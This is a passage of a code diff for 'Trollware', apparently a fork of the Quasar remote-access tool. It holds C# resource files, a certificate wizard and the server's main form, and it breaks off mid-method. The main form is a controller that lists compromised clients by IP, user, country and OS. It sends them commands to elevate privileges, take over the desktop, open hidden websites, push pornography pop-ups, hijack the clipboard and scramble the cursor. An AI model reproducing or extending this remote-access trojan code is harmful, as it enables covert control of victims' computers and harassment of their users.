<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="tooltip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<metadata name="contextMenuStrip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>105, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAA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1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA
AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv
/vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+159
View File
@@ -0,0 +1,159 @@
namespace Quasar.Server.Forms
{
partial class FrmCertificate
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmCertificate));
this.lblInfo = new System.Windows.Forms.Label();
this.btnCreate = new System.Windows.Forms.Button();
this.lblDescription = new System.Windows.Forms.Label();
this.txtDetails = new System.Windows.Forms.TextBox();
this.btnImport = new System.Windows.Forms.Button();
this.btnSave = new System.Windows.Forms.Button();
this.label1 = new System.Windows.Forms.Label();
this.btnExit = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// lblInfo
//
this.lblInfo.AutoSize = true;
this.lblInfo.Location = new System.Drawing.Point(12, 53);
this.lblInfo.Name = "lblInfo";
this.lblInfo.Size = new System.Drawing.Size(130, 13);
this.lblInfo.TabIndex = 3;
this.lblInfo.Text = "(this might take a while)";
//
// btnCreate
//
this.btnCreate.Location = new System.Drawing.Point(12, 27);
this.btnCreate.Name = "btnCreate";
this.btnCreate.Size = new System.Drawing.Size(75, 23);
this.btnCreate.TabIndex = 1;
this.btnCreate.Text = "Create";
this.btnCreate.UseVisualStyleBackColor = true;
this.btnCreate.Click += new System.EventHandler(this.btnCreate_Click);
//
// lblDescription
//
this.lblDescription.AutoSize = true;
this.lblDescription.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblDescription.Location = new System.Drawing.Point(9, 9);
this.lblDescription.Name = "lblDescription";
this.lblDescription.Size = new System.Drawing.Size(493, 15);
this.lblDescription.TabIndex = 0;
this.lblDescription.Text = "To use Trollware create a new certificate or import an existing one from a previous" +
" installation.";
//
// txtDetails
//
this.txtDetails.Location = new System.Drawing.Point(12, 69);
this.txtDetails.Multiline = true;
this.txtDetails.Name = "txtDetails";
this.txtDetails.ReadOnly = true;
this.txtDetails.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.txtDetails.Size = new System.Drawing.Size(517, 230);
this.txtDetails.TabIndex = 4;
//
// btnImport
//
this.btnImport.Location = new System.Drawing.Point(93, 27);
this.btnImport.Name = "btnImport";
this.btnImport.Size = new System.Drawing.Size(130, 23);
this.btnImport.TabIndex = 2;
this.btnImport.Text = "Browse && Import";
this.btnImport.UseVisualStyleBackColor = true;
this.btnImport.Click += new System.EventHandler(this.btnImport_Click);
//
// btnSave
//
this.btnSave.Enabled = false;
this.btnSave.Location = new System.Drawing.Point(373, 305);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(75, 23);
this.btnSave.TabIndex = 6;
this.btnSave.Text = "Save";
this.btnSave.UseVisualStyleBackColor = true;
this.btnSave.Click += new System.EventHandler(this.btnSave_Click);
//
// label1
//
this.label1.AutoSize = true;
this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.label1.Location = new System.Drawing.Point(12, 310);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(355, 15);
this.label1.TabIndex = 5;
this.label1.Text = "KEEP THIS FILE SAFE! LOSS RESULTS IN LOOSING ALL CLIENTS!";
//
// btnExit
//
this.btnExit.Location = new System.Drawing.Point(454, 306);
this.btnExit.Name = "btnExit";
this.btnExit.Size = new System.Drawing.Size(75, 23);
this.btnExit.TabIndex = 7;
this.btnExit.Text = "Exit";
this.btnExit.UseVisualStyleBackColor = true;
this.btnExit.Click += new System.EventHandler(this.btnExit_Click);
//
// FrmCertificate
//
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(541, 341);
this.Controls.Add(this.btnExit);
this.Controls.Add(this.label1);
this.Controls.Add(this.btnSave);
this.Controls.Add(this.lblDescription);
this.Controls.Add(this.txtDetails);
this.Controls.Add(this.lblInfo);
this.Controls.Add(this.btnImport);
this.Controls.Add(this.btnCreate);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmCertificate";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Trollware - Certificate Wizard";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label lblDescription;
private System.Windows.Forms.Label lblInfo;
private System.Windows.Forms.Button btnCreate;
private System.Windows.Forms.TextBox txtDetails;
private System.Windows.Forms.Button btnImport;
private System.Windows.Forms.Button btnSave;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button btnExit;
}
}
+100
View File
@@ -0,0 +1,100 @@
using Quasar.Server.Helper;
using System;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Windows.Forms;
using Quasar.Server.Models;
namespace Quasar.Server.Forms
{
public partial class FrmCertificate : Form
{
private X509Certificate2 _certificate;
public FrmCertificate()
{
InitializeComponent();
}
private void SetCertificate(X509Certificate2 certificate)
{
_certificate = certificate;
txtDetails.Text = _certificate.ToString(false);
btnSave.Enabled = true;
}
private void btnCreate_Click(object sender, EventArgs e)
{
SetCertificate(CertificateHelper.CreateCertificateAuthority("Trollware Server CA", 4096));
}
private void btnImport_Click(object sender, EventArgs e)
{
using (var ofd = new OpenFileDialog())
{
ofd.CheckFileExists = true;
ofd.Filter = "*.p12|*.p12";
ofd.Multiselect = false;
ofd.InitialDirectory = Application.StartupPath;
if (ofd.ShowDialog(this) == DialogResult.OK)
{
try
{
SetCertificate(new X509Certificate2(ofd.FileName, "", X509KeyStorageFlags.Exportable));
}
catch (Exception ex)
{
MessageBox.Show(this, $"Error importing the certificate:\n{ex.Message}", "Save error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
}
private void btnSave_Click(object sender, EventArgs e)
{
try
{
if (_certificate == null)
throw new ArgumentNullException();
if (!_certificate.HasPrivateKey)
throw new ArgumentException();
File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12));
MessageBox.Show(this,
"Please backup the certificate now. Loss of the certificate results in loosing all clients!",
"Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information);
string argument = "/select, \"" + Settings.CertificatePath + "\"";
Process.Start("explorer.exe", argument);
this.DialogResult = DialogResult.OK;
}
catch (ArgumentNullException)
{
MessageBox.Show(this, "Please create or import a certificate first.", "Save error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch (ArgumentException)
{
MessageBox.Show(this,
"The imported certificate has no associated private key. Please import a different certificate.",
"Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch (Exception)
{
MessageBox.Show(this,
"There was an error saving the certificate, please make sure you have write access to the Trollware directory.",
"Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private void btnExit_Click(object sender, EventArgs e)
{
Environment.Exit(0);
}
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
File diff suppressed because it is too large Load Diff
+873
View File
@@ -0,0 +1,873 @@
using Quasar.Common.Enums;
using Quasar.Common.Messages;
using Quasar.Server.Extensions;
using Quasar.Server.Messages;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using Quasar.Server.Utilities;
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net.Sockets;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmMain : Form
{
public QuasarServer ListenServer { get; set; }
private const int STATUS_ID = 4;
private const int USERSTATUS_ID = 5;
private bool _titleUpdateRunning;
private bool _processingClientConnections;
private readonly ClientStatusHandler _clientStatusHandler;
private readonly Queue<KeyValuePair<Client, bool>> _clientConnections = new Queue<KeyValuePair<Client, bool>>();
private readonly object _processingClientConnectionsLock = new object();
private readonly object _lockClients = new object(); // lock for clients-listview
public FrmMain()
{
_clientStatusHandler = new ClientStatusHandler();
RegisterMessageHandler();
InitializeComponent();
}
/// <summary>
/// Registers the client status message handler for client communication.
/// </summary>
private void RegisterMessageHandler()
{
MessageHandler.Register(_clientStatusHandler);
_clientStatusHandler.StatusUpdated += SetStatusByClient;
_clientStatusHandler.UserStatusUpdated += SetUserStatusByClient;
}
/// <summary>
/// Unregisters the client status message handler.
/// </summary>
private void UnregisterMessageHandler()
{
MessageHandler.Unregister(_clientStatusHandler);
_clientStatusHandler.StatusUpdated -= SetStatusByClient;
_clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient;
}
public void UpdateWindowTitle()
{
if (_titleUpdateRunning) return;
_titleUpdateRunning = true;
try
{
this.Invoke((MethodInvoker) delegate
{
int selected = lstClients.SelectedItems.Count;
this.Text = (selected > 0)
? string.Format("Trollware - Connected: {0} [Selected: {1}]", ListenServer.ConnectedClients.Length,
selected)
: string.Format("Trollware - Connected: {0}", ListenServer.ConnectedClients.Length);
});
}
catch (Exception)
{
}
_titleUpdateRunning = false;
}
private void InitializeServer()
{
X509Certificate2 serverCertificate;
#if DEBUG
serverCertificate = new DummyCertificate();
#else
if (!File.Exists(Settings.CertificatePath))
{
using (var certificateSelection = new FrmCertificate())
{
while (certificateSelection.ShowDialog() != DialogResult.OK)
{ }
}
}
serverCertificate = new X509Certificate2(Settings.CertificatePath);
#endif
/*var str = Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert));
var cert2 = new X509Certificate2(Convert.FromBase64String(str));
var serverCsp = (RSACryptoServiceProvider)serverCertificate.PublicKey.Key;
var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(cert2).PublicKey.Key;
var result = serverCsp.ExportParameters(false);
var result2 = connectedCsp.ExportParameters(false);
var b = SafeComparison.AreEqual(result.Exponent, result2.Exponent) &&
SafeComparison.AreEqual(result.Modulus, result2.Modulus);*/
ListenServer = new QuasarServer(serverCertificate);
ListenServer.ServerState += ServerState;
ListenServer.ClientConnected += ClientConnected;
ListenServer.ClientDisconnected += ClientDisconnected;
}
private void StartConnectionListener()
{
try
{
ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP);
}
catch (SocketException ex)
{
if (ex.ErrorCode == 10048)
{
MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else
{
MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
ListenServer.Disconnect();
}
catch (Exception)
{
ListenServer.Disconnect();
}
}
private void AutostartListening()
{
if (Settings.AutoListen)
{
StartConnectionListener();
}
if (Settings.EnableNoIPUpdater)
{
NoIpUpdater.Start();
}
}
private void FrmMain_Load(object sender, EventArgs e)
{
InitializeServer();
AutostartListening();
}
private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
{
ListenServer.Disconnect();
UnregisterMessageHandler();
notifyIcon.Visible = false;
notifyIcon.Dispose();
}
private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
{
UpdateWindowTitle();
}
private void ServerState(Networking.Server server, bool listening, ushort port)
{
try
{
this.Invoke((MethodInvoker) delegate
{
if (!listening)
lstClients.Items.Clear();
listenToolStripStatusLabel.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening.";
});
UpdateWindowTitle();
}
catch (InvalidOperationException)
{
}
}
private void ClientConnected(Client client)
{
lock (_clientConnections)
{
if (!ListenServer.Listening) return;
_clientConnections.Enqueue(new KeyValuePair<Client, bool>(client, true));
}
lock (_processingClientConnectionsLock)
{
if (!_processingClientConnections)
{
_processingClientConnections = true;
ThreadPool.QueueUserWorkItem(ProcessClientConnections);
}
}
}
private void ClientDisconnected(Client client)
{
lock (_clientConnections)
{
if (!ListenServer.Listening) return;
_clientConnections.Enqueue(new KeyValuePair<Client, bool>(client, false));
}
lock (_processingClientConnectionsLock)
{
if (!_processingClientConnections)
{
_processingClientConnections = true;
ThreadPool.QueueUserWorkItem(ProcessClientConnections);
}
}
}
private void ProcessClientConnections(object state)
{
while (true)
{
KeyValuePair<Client, bool> client;
lock (_clientConnections)
{
if (!ListenServer.Listening)
{
_clientConnections.Clear();
}
if (_clientConnections.Count == 0)
{
lock (_processingClientConnectionsLock)
{
_processingClientConnections = false;
}
return;
}
client = _clientConnections.Dequeue();
}
if (client.Key != null)
{
switch (client.Value)
{
case true:
AddClientToListview(client.Key);
if (Settings.ShowPopup)
ShowPopup(client.Key);
break;
case false:
RemoveClientFromListview(client.Key);
break;
}
}
}
}
/// <summary>
/// Sets the tooltip text of the listview item of a client.
/// </summary>
/// <param name="client">The client on which the change is performed.</param>
/// <param name="text">The new tooltip text.</param>
public void SetToolTipText(Client client, string text)
{
if (client == null) return;
try
{
lstClients.Invoke((MethodInvoker) delegate
{
var item = GetListViewItemByClient(client);
if (item != null)
item.ToolTipText = text;
});
}
catch (InvalidOperationException)
{
}
}
/// <summary>
/// Adds a connected client to the Listview.
/// </summary>
/// <param name="client">The client to add.</param>
private void AddClientToListview(Client client)
{
if (client == null) return;
try
{
// this " " leaves some space between the flag-icon and first item
ListViewItem lvi = new ListViewItem(new string[]
{
" " + client.EndPoint.Address, client.Value.Tag,
client.Value.UserAtPc, client.Value.Version, "Connected", "Active", client.Value.CountryWithCode,
client.Value.OperatingSystem, client.Value.AccountType
}) { Tag = client, ImageIndex = client.Value.ImageIndex };
lstClients.Invoke((MethodInvoker) delegate
{
lock (_lockClients)
{
lstClients.Items.Add(lvi);
}
});
UpdateWindowTitle();
}
catch (InvalidOperationException)
{
}
}
/// <summary>
/// Removes a connected client from the Listview.
/// </summary>
/// <param name="client">The client to remove.</param>
private void RemoveClientFromListview(Client client)
{
if (client == null) return;
try
{
lstClients.Invoke((MethodInvoker) delegate
{
lock (_lockClients)
{
foreach (ListViewItem lvi in lstClients.Items.Cast<ListViewItem>()
.Where(lvi => lvi != null && client.Equals(lvi.Tag)))
{
lvi.Remove();
break;
}
}
});
UpdateWindowTitle();
}
catch (InvalidOperationException)
{
}
}
/// <summary>
/// Sets the status of a client.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="client">The client to update the status of.</param>
/// <param name="text">The new status.</param>
private void SetStatusByClient(object sender, Client client, string text)
{
var item = GetListViewItemByClient(client);
if (item != null)
item.SubItems[STATUS_ID].Text = text;
}
/// <summary>
/// Sets the user status of a client.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="client">The client to update the user status of.</param>
/// <param name="userStatus">The new user status.</param>
private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus)
{
var item = GetListViewItemByClient(client);
if (item != null)
item.SubItems[USERSTATUS_ID].Text = userStatus.ToString();
}
/// <summary>
/// Gets the Listview item which belongs to the client.
/// </summary>
/// <param name="client">The client to get the Listview item of.</param>
/// <returns>Listview item of the client.</returns>
private ListViewItem GetListViewItemByClient(Client client)
{
if (client == null) return null;
ListViewItem itemClient = null;
lstClients.Invoke((MethodInvoker) delegate
{
itemClient = lstClients.Items.Cast<ListViewItem>()
.FirstOrDefault(lvi => lvi != null && client.Equals(lvi.Tag));
});
return itemClient;
}
/// <summary>
/// Gets all selected clients.
/// </summary>
/// <returns>An array of all selected Clients.</returns>
private Client[] GetSelectedClients()
{
List<Client> clients = new List<Client>();
lstClients.Invoke((MethodInvoker)delegate
{
lock (_lockClients)
{
if (lstClients.SelectedItems.Count == 0) return;
clients.AddRange(
lstClients.SelectedItems.Cast<ListViewItem>()
.Where(lvi => lvi != null)
.Select(lvi => lvi.Tag as Client));
}
});
return clients.ToArray();
}
/// <summary>
/// Gets all connected clients.
/// </summary>
/// <returns>An array of all connected Clients.</returns>
private Client[] GetConnectedClients()
{
return ListenServer.ConnectedClients;
}
/// <summary>
/// Displays a popup with information about a client.
/// </summary>
/// <param name="c">The client.</param>
private void ShowPopup(Client c)
{
try
{
this.Invoke((MethodInvoker)delegate
{
if (c == null || c.Value == null) return;
notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country),
string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(),
c.Value.OperatingSystem), ToolTipIcon.Info);
});
}
catch (InvalidOperationException)
{
}
}
#region "ContextMenuStrip"
#region "Client Management"
private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoAskElevate());
}
}
private void updateToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoClientReconnect());
}
private void reconnectToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoClientReconnect());
}
}
private void disconnectToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoClientDisconnect());
}
}
private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count == 0) return;
if (
MessageBox.Show(
string.Format(
"Are you sure you want to uninstall the client on {0} computer\\s?",
lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo,
MessageBoxIcon.Question) == DialogResult.Yes)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoClientUninstall());
}
}
}
#endregion
private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c);
frmRd.Show();
frmRd.Focus();
}
}
#region "Troll"
private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
{
if (frm.ShowDialog() == DialogResult.OK)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoVisitWebsite
{
Url = frm.Url,
Hidden = frm.Hidden
});
}
}
}
}
}
private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count))
{
if (frm.ShowDialog() == DialogResult.OK)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoShowMessageBox
{
Caption = frm.MsgBoxCaption,
Text = frm.MsgBoxText,
Button = frm.MsgBoxButton,
Icon = frm.MsgBoxIcon
});
}
}
}
}
}
private void startPornSpamToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartPornSpam());
}
private void stopPornSpamToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopPornSpam());
}
private void startClipboardHijackToolStripMenuItem_Click(object sender, EventArgs e)
{
string text = Microsoft.VisualBasic.Interaction.InputBox("Enter replacement text for clipboard:", "Clipboard Hijack", "lol got you");
if (string.IsNullOrWhiteSpace(text)) return;
foreach (Client c in GetSelectedClients())
c.Send(new DoStartClipboardHijack { ReplacementText = text });
}
private void stopClipboardHijackToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopClipboardHijack());
}
private void startCursorChaosToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartCursorChaos());
}
private void stopCursorChaosToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopCursorChaos());
}
private static byte[] ReadEmbeddedResource(string name)
{
